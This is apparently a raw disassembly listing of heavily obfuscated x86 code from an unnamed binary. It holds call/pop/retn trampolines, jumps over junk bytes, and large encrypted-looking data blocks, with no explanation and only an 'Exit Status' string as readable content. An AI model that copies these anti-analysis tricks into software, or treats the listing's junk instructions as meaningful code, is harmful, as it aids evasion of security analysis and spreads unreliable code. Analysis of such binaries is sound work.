jmp loc_57E99D
; ---------------------------------------------------------------------------
dw 2BE7h
dd 9488BE95h, 5A199A8Eh, 0D20FEFEDh, 5E14CCAAh, 0F50720F8h
dd 7D5C11A6h, 0CF36F42Ch, 0DBAC13Eh, 0D683B395h, 4D0B9282h
dd 0C01EBCBFh, 151B89ADh, 0FF774397h, 7C4105ACh, 0CF36A620h
dd 0EB5C73Ch, 0D699B395h, 52118F9Dh, 0DE02A2BFh, 1B0F9EB6h
dd 0B34320FCh, 6D4101BBh, 8137F46Dh, 18A1C729h, 999FAA95h
dd 521F8F9Ch, 0B1h, 62h dup(0)
dd 2BE70000h, 9882B795h, 4D118992h, 0DC15BFBFh, 56179EBEh
dd 0E04626BDh, 7C5706E9h, 0CE25A662h, 4AB0C625h, 9883AFC7h
dd 1F199392h, 0CA47A1F6h, 1B0499B6h, 0E75437EEh, 131C09ACh
dd 0C42FD601h, 46B1DB31h, 9A83AF95h, 1F1A9C94h, 0D547BBF6h
dd 1B1B83ABh, 0FC4A2BF0h, 78121DBBh, 0D363E262h, 0BA0DB35h
dd 8FCDAEC7h, 1F0C8894h, 0D408BDEFh, 151B8DABh, 48h dup(0)
dd 2BE70000h, 979FB995h, 4D1B9698h, 0C747BCB8h, 1B1A83B6h
dd 0B3542FF5h, 775701ABh, 0D42CE02Ch, 18F4CC3Eh, 9F83B4C0h
dd 565E9A95h, 0DC1EEFF1h, 48569EACh, 0F6533DE4h, 14384AA4h
dd 0C026EA5Ch, 4AF8CD23h, 9981B4C0h, 565E999Ah, 0C101EFEBh
dd 565681B6h, 0E14823F8h, 775344B0h, 0C431A668h, 18B5DC23h
dd 9994FAC1h, 4F5E8F8Eh, 0C100A0EDh, 5881B8h, 61h dup(0)
dd 2CE70000h, 0D688B6DCh, 4D0C9298h, 0D613BFEAh, 1B58CDBDh
dd 0E04E26C9h, 764014E9h, 0CC22F46Bh, 19B5C070h, 9388B895h
dd 5E13DD95h, 0C617A6F1h, 5E028DB5h, 0FD466EF9h, 785F44ADh
dd 0AB26E475h, 4DA0C15Dh, 9884FAC6h, 4B1D989Dh, 0D147ABFAh
dd 1B17CCA0h, 0E65527CBh, 6B5D44BAh, 0C031E52Ch, 0EB1C333h
dd 9EB9FA9Bh, 595E8E92h, 9302A3F6h, 1C1883AEh, 0FC506EE9h
dd 78120FBBh, 0CE2EFF62h, 0FACD22h, 0E0h dup(0)
dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0)
aExitStatusD db 'Exit Status = %d',0
align 4
dd 0
db 0
; ---------------------------------------------------------------------------
loc_57E99D: ; CODE XREF: sub_57DD3A+28Bj
jmp loc_58159B
; ---------------------------------------------------------------------------
push 0
push eax
call loc_57E9AD
and [eax-3Dh], bl
loc_57E9AD: ; CODE XREF: sub_57DD3A+C6Bp
pop eax
mov [esp+arg_0], eax
add [esp+arg_0], 15h
inc eax
push eax
retn
; ---------------------------------------------------------------------------
fist dword ptr [edi]
jmp loc_57E9CD
; ---------------------------------------------------------------------------
dd 952AD556h, 65F7A0EDh
db 86h
; ---------------------------------------------------------------------------
loc_57E9CD: ; CODE XREF: sub_57DD3A+C85j
cld
mov [ebp+61500F9h], edx
mov eax, eax
mov [ebp+61520CDh], edx
mov dl, 7Dh
cmp dword ptr [ebp+61508F5h], 0
jnz short loc_57E9F0
cmp dword ptr [ebp+61503ADh], 0
jz short loc_57EA03
loc_57E9F0: ; CODE XREF: sub_57DD3A+CABj
push eax
push ebx
mov eax, eax
mov eax, 1
lea ebx, [ebp+617A940h]
call ebx
pop ebx
pop eax
loc_57EA03: ; CODE XREF: sub_57DD3A+CB4j
cmp dword ptr [ebp+61503ADh], 0
jz short loc_57EA1D
push eax
push ebx
mov eax, 1
lea ebx, [ebp+617A7F1h]
call ebx
pop ebx
pop eax
loc_57EA1D: ; CODE XREF: sub_57DD3A+CD0j
jo loc_57EA36
jmp loc_57EA36
; ---------------------------------------------------------------------------
dd 95B9BCEDh, 483605FAh, 0BA346444h
; ---------------------------------------------------------------------------
mov dh, 66h
loc_57EA36: ; CODE XREF: sub_57DD3A:loc_57EA1Dj
; sub_57DD3A+CE9j
mov edx, [ebp+6152B25h]
mov eax, eax
cmp dword ptr [ebp+6151E15h], 0
jz loc_57EC10
add ebx, [ebp+6152435h]
cmp dword ptr [ebp+6150309h], 0
jz loc_57EC10
push 0
push edi
call loc_57EA69
and [edi-3Dh], bl
loc_57EA69: ; CODE XREF: sub_57DD3A+D27p
pop edi
mov [esp+4], edi
add dword ptr [esp+4], 16h
inc edi
push edi
retn
; ---------------------------------------------------------------------------
cld
mov dword ptr [ebx], 60D78B66h
push 0
push ebx
call loc_57EA8B
and [ebx-3Dh], bl
loc_57EA8B: ; CODE XREF: sub_57DD3A+D49p
pop ebx
mov [esp+8+var_4], ebx
add [esp+8+var_4], 1Dh
inc ebx
push ebx
retn
; ---------------------------------------------------------------------------
dec ecx
cmp eax, esp
fcomi st, st(2)
pop esi
cwde
std
or al, 6Dh
mov edx, ebx
mov eax, [ebp+6150309h]
push ebx
and bh, 7Ch
pop ebx
add eax, 3E8h
jge loc_57EAC3
mov edx, [ebp+6152229h]
loc_57EAC3: ; CODE XREF: sub_57DD3A+D7Dj
push eax
mov edx, ecx
mov [esp+0Ch+var_C], eax
push 0
push eax
call loc_57EAD4
and [eax-3Dh], bl
loc_57EAD4: ; CODE XREF: sub_57DD3A+D92p
pop eax
mov [esp+0Ch+var_8], eax
add [esp+0Ch+var_8], 17h
inc eax
push eax
retn
; ---------------------------------------------------------------------------
dd 0FAC23544h, 0BAD9D29h, 858D0615h, 6154F55h, 27999589h
dd 0E8900615h, 8, 8B697B34h, 0D86B2786h, 5B616053h, 5260505Bh
dd 8E8h, 0BB3D3A00h, 4284AD59h, 0F585BA5h, 28Ch, 61616000h
dd 0B9BD2990h, 8D061522h, 154F3385h, 0CE806h, 0A66A0000h
dd 479A207Ch, 2D98AEC3h, 0D18B745Bh, 5250505Ah, 13E8h
dd 43437100h, 9FB1BB15h, 9FD50D2Eh, 0F3478A22h, 59AD0CBDh
dd 0F5B6160h, 0D88B6631h, 489585Ah, 5FC28024h, 8E19589h
dd 95FF0615h, 6152F29h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 14h, 9AC35747h, 0BA98D89h, 85890615h, 61518E5h
dd 0B0CC483h, 15116595h, 33858D06h, 6A06154Fh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
dd 73ACC356h, 5DBA25A2h, 794C30E8h, 89DF8B50h, 8F0F2404h
dd 6, 23FD9D89h, 26A0615h, 0FFC7EA80h, 6AED1495h, 0D18B6600h
dd 0EE961h, 46C20000h, 0F5F0B421h, 0C2638E50h, 0C439DC68h
; ---------------------------------------------------------------------------
loc_57EC10: ; CODE XREF: sub_57DD3A+D0Bj
; sub_57DD3A+D1Ej
mov dword ptr [ebp+6154F66h], 1
and edx, 2BD463E3h
push eax
mov dx, si
mov [esp+8+var_8], esi
sub [ebp+615046Dh], esi
add edx, 7D4B05C1h
mov [ebp+6154F17h], esi
call loc_57EC47
wait
push 52h
mov ch, 52h
cmpsb
push esp
lock push ebp
loc_57EC47: ; CODE XREF: sub_57DD3A+EFFp
jnz loc_57EC53
add [ebp+6151C8Dh], eax
loc_57EC53: ; CODE XREF: sub_57DD3A:loc_57EC47j
pop ebx
cmp dword ptr [ebp+6152DB5h], 1
jnz loc_57ECD8
push 0
push eax
loc_57EC64: ; CODE XREF: sub_57DD3A+F42j
call loc_57EC6C
and [eax-3Dh], bl
loc_57EC6C: ; CODE XREF: sub_57DD3A:loc_57EC64p
pop eax
mov [esp+0Ch+var_8], eax
add [esp+0Ch+var_8], 1Dh
inc eax
push eax
retn
; ---------------------------------------------------------------------------
jo short loc_57EC64
mov eax, ds:0FE1E39A6h
db 2Eh, 3Eh
lock or dl, 0B0h
cmp eax, 5
jnz loc_57ECD8
and ebx, 6ECD7A3Fh
push ebx
mov [ebp+6152399h], eax
pop edx
mov eax, 0
push 0
push edi
call loc_57ECB0
and [edi-3Dh], bl
loc_57ECB0: ; CODE XREF: sub_57DD3A+F6Ep
pop edi
mov [esp+10h+var_C], edi
add [esp+10h+var_C], 16h
inc edi
push edi
retn
; ---------------------------------------------------------------------------
dd 6689C24Ah, 0FF943BBh, 0B84h, 0BD016000h, 6152831h, 61F4D880h
; ---------------------------------------------------------------------------
loc_57ECD8: ; CODE XREF: sub_57DD3A+F21j
; sub_57DD3A+F52j
cmp dword ptr [ebp+615056Dh], 0
jz loc_57ED1C
or dx, 0B15h
pusha
mov ebx, [ebp+61501FDh]
call dword ptr [ebp+615056Dh]
jz loc_57ED05
push ecx
mov ebx, [ebp+6150421h]
pop edx
loc_57ED05: ; CODE XREF: sub_57DD3A+FBDj
pusha
mov [ebp+61514C5h], esi
push edi
mov eax, [ebp+61528E9h]
pop ecx
popa
popa
sub ebx, [ebp+615100Dh]
loc_57ED1C: ; CODE XREF: sub_57DD3A+FA5j
cmp dword ptr [ebp+6150A01h], 0
jz loc_57ED3D
xor ebx, 799B9977h
mov eax, 0
or [ebp+6150909h], esi
movsx edx, ax
loc_57ED3D: ; CODE XREF: sub_57DD3A+FE9j
pusha
push 0
push edx
call loc_57ED49
and [edx-3Dh], bl
loc_57ED49: ; CODE XREF: sub_57DD3A+1007p
pop edx
mov [esp+2Ch+var_28], edx
add [esp+2Ch+var_28], 1Ah
inc edx
push edx
retn
; ---------------------------------------------------------------------------
db 9Ah, 6Dh, 2Eh
; ---------------------------------------------------------------------------
jnb short near ptr loc_57ED60+2
push cs
pop ecx
loc_57ED60: ; CODE XREF: sub_57DD3A+1022j
adc dx, 5805h
mov eax, [ebp+6152849h]
add eax, 2
push 0
push ebp
call loc_57ED79
and [ebp-3Dh], bl
loc_57ED79: ; CODE XREF: sub_57DD3A+1037p
pop ebp
mov [esp+30h+var_2C], ebp
add [esp+30h+var_2C], 15h
inc ebp
push ebp
retn
; ---------------------------------------------------------------------------
test [esi+17E9958Bh], bh
adc eax, 0F858906h
dec edi
adc eax, 0BD016006h
inc ebp
or ds:898D2906h, edx
push ds
adc eax, 0C66106h
jmp fword ptr [edx+0]
; ---------------------------------------------------------------------------
push eax
call loc_57EDB3
and [eax-3Dh], bl
loc_57EDB3: ; CODE XREF: sub_57DD3A+1071p
pop eax
mov [esp+34h+var_30], eax
add [esp+34h+var_30], 15h
inc eax
push eax
retn
; ---------------------------------------------------------------------------
db 0F2h
dd 859503E2h, 89061517h, 15110585h, 0AD9D8B06h, 0C6061519h
dd 1509C585h, 958B5306h, 6152789h, 971958Bh, 0D4680615h
dd 0BBE26F92h, 53C19D7Fh, 0C243481h, 801EDEDAh, 0B5FF2ED3h
dd 6152811h, 0D559589h, 858D0615h, 61872BCh, 19D99589h
dd 0D0FF0615h, 259CB0BAh, 2185895Bh, 0B206152Eh, 0EDBD83DBh
dd 106150Bh, 63850Fh, 85890000h, 6152D0Dh, 600BA61h, 9D8B0EAAh
dd 6151721h, 9C585C6h, 0BA450615h, 4B0D7FF1h, 95A36068h
dd 0D78B66BBh, 0A2243481h, 0B661F59Bh, 11B5FF0Eh, 29061528h
dd 150C7DBDh, 1850906h, 8D061501h, 1872BC85h, 559D8B06h
dd 0B06150Ah, 15139195h, 9D0FF06h, 1533E18Dh, 0B2006A06h
dd 0B3D0FFA3h, 0D5BD838Ch, 1061533h, 137850Fh, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 417D69C3h, 4CE2F3B6h, 80368F93h, 858B7CEFh, 6152849h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0F4C35040h
dd 17C6A38Bh, 870F6051h, 0Dh, 8E9h, 5FE19600h, 0F02A8E79h
dd 0B50B51EBh, 6151D39h, 76E96158h, 66000000h, 718CF281h
dd 8A525090h, 0E9310FF3h, 0Eh, 0F4111CB2h, 0B0D5F41Bh
dd 6696CEC5h, 585A55C9h, 0B0BB6650h, 8E9907Ch, 7C000000h
dd 0BCC6E63Fh, 6AC82F28h, 51006A14h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0D59A9E5Fh
dd 606FE1C6h, 8E98BB66h, 9EF8BF66h, 0FFDD8A61h, 152E2195h
dd 8D8BBA06h, 89587D09h, 15024DB5h, 388006h, 0FF86850Fh
dd 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
dd 55450000h, 0D27E58C3h, 0C6F9322Fh, 6A0100h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
dd 0C87784C3h, 8B667F1Eh, 6A61DFh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 190424h, 56460000h, 9BE9D9C3h, 0B3B32699h
dd 1DBD838Eh, 61503h, 3B840Fh, 81660000h, 6A6E02E2h, 57006AFFh
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 0FFB84127h, 152E2195h, 5AF95106h, 0FFFFD2E9h, 8D8960FFh
dd 6150C15h, 1D85C761h, 1061503h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 2B1C357h, 8B455EE9h, 15184995h, 1B858906h, 0F06154Fh
dd 186h, 0BB90F800h, 2C5645B7h, 7E850h, 0FC3F0000h, 2CB086FAh
dd 57525085h, 0F310F5Ah, 83h, 5A585A00h, 0F9950B90h, 6006152Ch
dd 6AD0B70Fh, 0C1BD8905h, 8D061521h, 154F3385h, 90BEB306h
dd 12E9h, 0CF3DA600h, 0DDCFCC9h, 505037ABh, 0C4689A53h
dd 50B86936h, 8190D38Ah, 11FA67EAh, 23858D16h, 6A06154Fh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h
dd 42000000h, 0C666C352h, 0E3FD793Ch, 0F8E84A9h, 0A8D8509h
dd 89500615h, 830F2404h, 19h, 0FE960h, 81320000h, 482D9F06h
dd 88EF62E5h, 4703BC4Fh, 0CEB70F92h, 0B195FF61h, 6A061504h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 2A74C351h, 7AFD8D8Dh, 6A0615h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 160424h, 51410000h, 905FC2C3h
dd 0E280D68Bh, 74C00B26h, 33858D11h, 5006154Fh, 8589D1FFh
dd 6154F51h, 85C70AEBh, 6154F51h, 0FFFFFFFFh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 84C35545h, 5A9D641Bh
dd 0F6E7857Ah, 3941C281h, 6A613635h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 80F7C355h
dd 7BB00BE2h, 0BD89B3E5h, 6153371h, 85C6D18Bh, 61509C5h
dd 2D9D8B4Dh, 68061526h, 8C38F817h, 5AD68B56h, 0BF243481h
dd 6A280D8Eh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1C042444h, 46000000h, 3DFCC356h, 94ED015Dh, 0FF29D728h
dd 152159B5h, 858DF906h, 61872BCh, 6731BA66h, 8E8D0FFh
dd 65000000h, 0BCF6CBEAh, 896F1EF8h, 150C65B5h, 85895A06h
dd 61506D5h, 0EF8028B2h, 0C585C671h, 45061509h, 1121958Bh
dd 958B0615h, 6152925h, 52963C68h, 53525081h, 5BD88B66h
dd 8B66310Fh, 81585ADEh, 0D32D2404h, 0DB800D1Fh, 0CA81660Dh
dd 0B5FFD8C6h, 6152811h, 3445B509h, 858D0615h, 61872BCh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 53C35545h
dd 994F8B20h, 930283A2h, 9589D0FFh, 61511D9h, 26698589h
dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
dd 50400000h, 3BF84FC3h, 0BF0F3545h, 0D88B66DBh, 6AD28Bh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 0BA075AC3h, 0A4440887h, 9D8BF0Fh, 15074985h, 0D98C6606h
dd 0C1F6D9B7h, 40840F04h, 6A000002h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 73E6C355h
dd 0C7A35ADCh, 895A01A0h, 15271185h, 0D9958B06h, 0E9061522h
dd 110h, 18B5958Bh, 0B58B0615h, 6150B8Dh, 0CE9h, 125BE300h
dd 681BD834h, 0FC6B2B7Fh, 80C68166h, 6A000011h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 2992C351h, 0F4D90E84h, 0C45685C3h, 5E28BB66h, 1E01BD83h
dd 0F000615h, 2A85h, 87E9FC00h, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 668C352h
dd 6BB01B80h, 83D78B83h, 840F003Eh, 5Ah, 0A18D0957h, 5B061511h
dd 0CB816660h, 146AD69Fh, 95FF87B7h, 6152E21h, 202115BAh
dd 6A6145h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
dd 57470000h, 0AEE235C3h, 9E8D2E9h, 0D2000000h, 6A36571Dh
dd 1C12136Fh, 16759D09h, 0E95B0615h, 0FFFFFF9Fh, 6C7D68Bh
dd 1, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h
dd 9BC35141h, 0FC0A977h, 2E7806Ch, 4F1BBD83h, 0F050615h
dd 0EE85h, 0D78B6600h, 2669B58Bh, 8D0F0615h, 0
; ---------------------------------------------------------------------------
mov ecx, 64h
push 0
push edi
call loc_57F4B4
and [edi-3Dh], bl
loc_57F4B4: ; CODE XREF: sub_57DD3A+1772p
pop edi
mov [esp+38h+var_34], edi
add [esp+38h+var_34], 19h
inc edi
push edi
retn
; ---------------------------------------------------------------------------
push ds
push ss
mov al, ds:0FEFBE86h
mov bh, 0DBh
sub [ebp+615138Dh], edx
loc_57F4D3: ; CODE XREF: sub_57DD3A+1805j
cmp byte ptr [esi], 0E8h
jz loc_57F517
push 0
push ecx
call loc_57F4E7
and [ecx-3Dh], bl
loc_57F4E7: ; CODE XREF: sub_57DD3A+17A5p
pop ecx
mov [esp+44h+var_40], ecx
add [esp+44h+var_40], 1Bh
inc ecx
push ecx
retn
; ---------------------------------------------------------------------------
db 7Ah
dd 3706E99Ah, 8B81BBC5h, 151E8995h, 2DE906h, 8E90000h
dd 8E000000h, 3AFCFF4Ch
db 0F0h, 5Bh, 0A9h
; ---------------------------------------------------------------------------
loc_57F517: ; CODE XREF: sub_57DD3A+179Cj
cmp byte ptr [esi+5], 0C2h
jz loc_57F571
ja loc_57F534
jmp loc_57F534
; ---------------------------------------------------------------------------
dd 1993C66h, 0A64C2711h
; ---------------------------------------------------------------------------
loc_57F534: ; CODE XREF: sub_57DD3A+17E7j
; sub_57DD3A+17EDj
movzx ebx, cx
inc esi
and ebx, [ebp+6151081h]
dec ecx
jnz loc_57F4D3
mov [ebp+6152395h], edi
jmp loc_57F583
; ---------------------------------------------------------------------------
push 0
push ecx
call loc_57F55B
and [ecx-3Dh], bl
loc_57F55B: ; CODE XREF: sub_57DD3A+1819p
pop ecx
mov [esp+44h+var_40], ecx
add [esp+44h+var_40], 19h
inc ecx
push ecx
retn
; ---------------------------------------------------------------------------
db 67h
dd 80E7EF87h
db 72h
; ---------------------------------------------------------------------------
loc_57F571: ; CODE XREF: sub_57DD3A+17E1j
mov [ebp+6150E31h], esi
or [ebp+6151159h], esi
mov [ebp+61525B1h], ecx
loc_57F583: ; CODE XREF: sub_57DD3A+1811j
pop eax
xor ebx, 36B15B57h
cmp dword ptr [ebp+61528C9h], 0
jz loc_57F681
pusha
add dx, 1982h
mov byte ptr [ebp+61509C5h], 54h
mov ebx, [ebp+61518E5h]
push 0D3D3E6B0h
mov dh, 49h
xor [esp+64h+var_64], 2C9D5844h
push 0
push ecx
call loc_57F5C3
and [ecx-3Dh], bl
loc_57F5C3: ; CODE XREF: sub_57DD3A+1881p
pop ecx
mov [esp+64h+var_60], ecx
add [esp+64h+var_60], 14h
inc ecx
push ecx
retn
; ---------------------------------------------------------------------------
db 0F2h
; ---------------------------------------------------------------------------
mov [ebp+6151D85h], ebx
stc
push dword ptr [ebp+6152811h]
movsx edx, ax
movzx ebx, cx
lea eax, [ebp+61872BCh]
push 0
push ebx
call loc_57F5F8
and [ebx-3Dh], bl
loc_57F5F8: ; CODE XREF: sub_57DD3A+18B6p
pop ebx
mov [esp+6Ch+var_68], ebx
add [esp+6Ch+var_68], 1Ah
inc ebx
push ebx
retn
; ---------------------------------------------------------------------------
dd 9422F9C8h, 0E8D55877h, 8, 9879B14Dh, 0F0A8E50Eh, 0FF5AD08Bh
dd 0B19D23D0h, 6A061527h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 6DBB6658h
dd 0C9B5FFEBh, 89061528h, 15129195h, 66D0FF06h, 6A61D38Bh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h
dd 40000000h, 0A6FAC350h, 0F87174Ch, 8Ah
db 0
; ---------------------------------------------------------------------------
loc_57F681: ; CODE XREF: sub_57DD3A+1857j
mov dword ptr [ebp+61518A9h], 1
push 0
push eax
call loc_57F696
and [eax-3Dh], bl
loc_57F696: ; CODE XREF: sub_57DD3A+1954p
pop eax
mov [esp+40h+var_3C], eax
add [esp+40h+var_3C], 1Bh
inc eax
push eax
retn
; ---------------------------------------------------------------------------
dw 696Dh
; ---------------------------------------------------------------------------
add eax, 4F0898A3h
cmp al, 60h
mov ax, cx
mov ecx, [ebp+615035Dh]
popa
pusha
push 0
push ebx
call loc_57F6C5
and [ebx-3Dh], bl
loc_57F6C5: ; CODE XREF: sub_57DD3A+1983p
pop ebx
mov [esp+44h+var_40], ebx
add [esp+44h+var_40], 15h
inc ebx
push ebx
retn
; ---------------------------------------------------------------------------
mov ch, 0CBh
mov edx, [ebp+6150A4Dh]
push 2A62160Bh
mov edx, eax
xor [esp+4Ch+var_4C], 2A62168Bh
jz loc_57F6F5
push eax
mov edx, ebx
pop ebx
loc_57F6F5: ; CODE XREF: sub_57DD3A+19B1j
push 0FFFFFFFFh
mov [ebp+6152E3Dh], edx
call dword ptr [ebp+615248Dh]
mov edx, [ebp+6151089h]
popa
jmp loc_57F723
; ---------------------------------------------------------------------------
db 0B7h
dd 54503BC5h, 0D8BE598Ah, 0FEE6E775h, 78355A26h
; ---------------------------------------------------------------------------
pop dword ptr [ebp+51h]
loc_57F723: ; CODE XREF: sub_57DD3A+19D0j
mov ebx, [ebp+6152A51h]
nop
jmp loc_57F73A
; ---------------------------------------------------------------------------
dec ebx
fld qword ptr [eax+67427E48h]
dec esp
db 66h
xlat
cmpsd
loc_57F73A: ; CODE XREF: sub_57DD3A+19F0j
push eax
pusha
mov bh, 0B6h
popa
nop
push 0
push esi
call loc_57F74B
and [esi-3Dh], bl
loc_57F74B: ; CODE XREF: sub_57DD3A+1A09p
pop esi
mov [esp+30h+var_2C], esi
add [esp+30h+var_2C], 1Dh
inc esi
push esi
retn
; ---------------------------------------------------------------------------
db 0B0h
; ---------------------------------------------------------------------------
mov ds:8E6655D5h, eax
fnstenv byte ptr [eax+esi*4-56h]
xor [ebp+61505DDh], edi
mov eax, [ebp+6150C21h]
push 0
push ecx
call loc_57F77C
and [ecx-3Dh], bl
loc_57F77C: ; CODE XREF: sub_57DD3A+1A3Ap
pop ecx
mov [esp+34h+var_30], ecx
add [esp+34h+var_30], 1Dh
inc ecx
push ecx
retn
; ---------------------------------------------------------------------------
dd 0B449B627h, 1165E858h, 0FE84A03h, 65000000h, 10BAE66Bh
dd 2C1C3F32h, 81674D51h, 0BF0FD0E1h, 0C00B5AD0h, 0C840Fh
dd 95FF0000h, 6152B39h, 947DE281h, 85C7636Bh, 615111Dh
dd 1, 38F0Fh, 0DF800000h, 0E9BD831Eh, 61502h, 0F840Fh
dd 0C2800000h, 595FFA0h, 89061515h, 15261585h, 75BD8306h
dd 61507h, 11840Fh, 0DE8B0000h, 82595FFh, 0E7800615h, 819D8B75h
dd 8306151Eh, 150DC1BDh, 840F0006h, 9Eh, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 15h, 0C0C35343h, 0F585898Bh
dd 83061512h, 150A19BDh, 850F0006h, 6Eh, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 1Dh, 0BDC35141h, 7DAA246Ah
dd 0DFD97B44h, 8D8951FFh, 615100Dh, 0E595FF5Bh, 6A061501h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h
dd 41000000h, 2E81C351h, 0D9D8B9Fh, 0F061529h, 1188h, 0CE900h
dd 5D960000h, 0B1E6402Ch, 0C015E65Ch, 0BD83F2BBh, 61525CDh
dd 6A840F00h, 0F000000h, 685h, 7DB53100h, 81061508h, 15138585h
dd 400306h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1804h, 0C3534300h, 5D8F80FAh, 499D8B6Bh, 8106150Ch
dd 1502A185h, 400306h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1704h, 0C3524200h, 43A3F628h, 0FC6BB560h
dd 0E9310F61h, 10h, 0D60993A6h, 0E5A30067h, 5973F92Bh
dd 0E41E7FF5h, 5EA48D8Dh, 8B660615h, 890189DEh, 150AA985h
dd 6AC23306h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 19042444h, 40000000h, 6725C350h, 7D96C729h, 6A59D01h
dd 41890615h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1504h, 0C3554500h, 810F57D9h, 6, 0FF99529h, 310F0615h
dd 12E9h, 4A32DD00h, 5C433CD0h, 0D767B3D8h, 88ACC4AEh
dd 8D9C6882h, 155ED48Dh, 0DE806h, 22150000h, 53DEB198h
dd 7D362008h, 81680778h, 548685CBh, 1895A42h, 0DE957h
dd 1CF30000h, 0E7395180h, 2C0F807Ah, 5A79C2DAh, 0B70FC233h
dd 44189D6h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Bh, 50C35747h, 0D2F9981Ah, 839314D0h, 151CF9BDh, 840F0006h
dd 11h, 8A5BD29h, 95FF0615h, 6150931h, 883E7ABAh, 45BD832Eh
dd 1061500h, 57850Fh, 0F38A0000h, 50E9h, 4ABA5000h, 5B4F0D92h
dd 6025B58Bh, 6C70615h, 0
dd 5DA6B58Bh, 6C70615h, 0
dd 95958BCFh, 6A061511h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1C042444h, 43000000h, 0A917C353h, 85DA0120h
dd 8967EF07h, 15127D8Dh, 1DBD8306h, 61511h, 113840Fh, 0BB660000h
dd 0BD838B93h, 6150941h, 0EF850F01h, 53000000h, 5B08EF80h
dd 4F0F8D8Bh, 0DB810615h, 25EC902Ch, 0E90001C6h, 12h, 9F20A7DEh
dd 5A181787h, 0FF0CE77h, 0B72DDC1Ch, 6A60EBE3h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
dd 941AC352h, 0F921D6Fh, 0E468D1BFh, 0E8610B98h, 9, 7BCAE13Bh
dd 7B0DAC17h, 0D86ABA60h, 815A08BFh, 98642434h, 5E9610Bh
dd 8A000000h, 273F43CDh, 0FFFF6AF5h, 15248D95h, 0E8D78006h
dd 49CF8061h, 260195FFh, 958B0615h, 6152D49h, 4F0F8D8Bh
dd 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
dd 51410000h, 606B2FC3h, 8518481Ah, 80BCAADDh, 1FEDBEAh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 8C35141h
dd 0E789A0BFh, 8D1B5B0Ah, 13899D8Bh, 0BD830615h, 6151CE1h
dd 6850F01h, 81000000h, 67D064DBh, 6AC08B74h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 2375C357h, 95958BDAh, 8306150Ah, 1508F5BDh, 9750006h
dd 3ADBD83h, 74000615h, 8B53501Ah, 85858BC0h, 89061513h
dd 15138585h, 9E9D8D06h, 0FF0617AAh, 83585BD3h, 1503ADBDh
dd 18740006h, 858B5350h, 6151385h, 13858589h, 9D8D0615h
dd 617A78Dh, 585BD3FFh, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 7BC35242h, 62834242h, 5263DFADh, 8A0F60h
dd 29000000h, 1518E595h, 315A6106h, 150B7D8Dh, 6AC08B06h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h
dd 46000000h, 0B3F1C356h, 661E254Eh, 4BA1E281h, 83D8CB80h
dd 15111DBDh, 850F0006h, 1Bh, 83FC21B3h, 152975BDh, 840F0006h
dd 0Bh, 4CE58060h, 7ADBD89h, 83610615h, 15111DBDh, 840F0006h
dd 49h, 9E9h, 6677E200h, 0EB4F0DD8h, 0BD837996h, 6150C79h
dd 2E840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 982EC356h, 0D7838DADh
dd 66877BDAh, 8B33ADBBh, 1519A19Dh, 1DBD8306h, 61511h
dd 30840Fh, 83F80000h, 150C79BDh, 840F0006h, 22h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 88C35545h, 0A0E556C4h
dd 0BD83D37Fh, 615111Dh, 46840F00h, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
dd 8E90C353h, 49CB8166h, 75B58904h, 83061528h, 151655BDh
